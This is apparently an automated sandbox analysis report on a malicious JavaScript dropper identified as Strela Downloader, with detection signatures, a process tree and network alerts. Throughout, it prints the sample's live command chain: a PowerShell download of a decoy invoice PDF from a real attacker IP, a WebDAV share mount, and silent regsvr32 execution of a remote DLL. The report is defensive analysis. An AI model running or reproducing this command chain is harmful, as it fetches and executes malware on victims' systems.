Edit tour

Windows Analysis Report
1018617432866721695.js

Overview

General Information

Sample name:	1018617432866721695.js
Analysis ID:	1588164
MD5:	6f7a66c2c931d197dbdaade40e820168
SHA1:	b027afe5aecfcbb81c262fb98ed6b08aeaff15f7
SHA256:	a1bd17f985d298d5c562e110e4b48303f88167777da67c945b250bb5c184e93e
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1096 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5132 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 280 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5700 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2976 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7240 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1668,i,16179422375550016729,180343850553128212,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7120 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3384 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6304 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1096	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5132, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 280, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5132, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 280, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js", ProcessId: 1096, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3384, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49766

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 5132, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 5132, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 5132, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 5132, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 5132, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js", ProcessId: 1096, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5132, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 280, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7120, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3384, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6304, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7120, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3384, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 5132, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:07:37.613821+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49766	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:07:35.144426+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49749	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1018617432866721695.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1018617432866721695.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49766 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:07:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49766

Source: global traffic

TCP traffic: 192.168.2.6:49766 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49749 -> 193.143.1.205:80

Source: global traffic

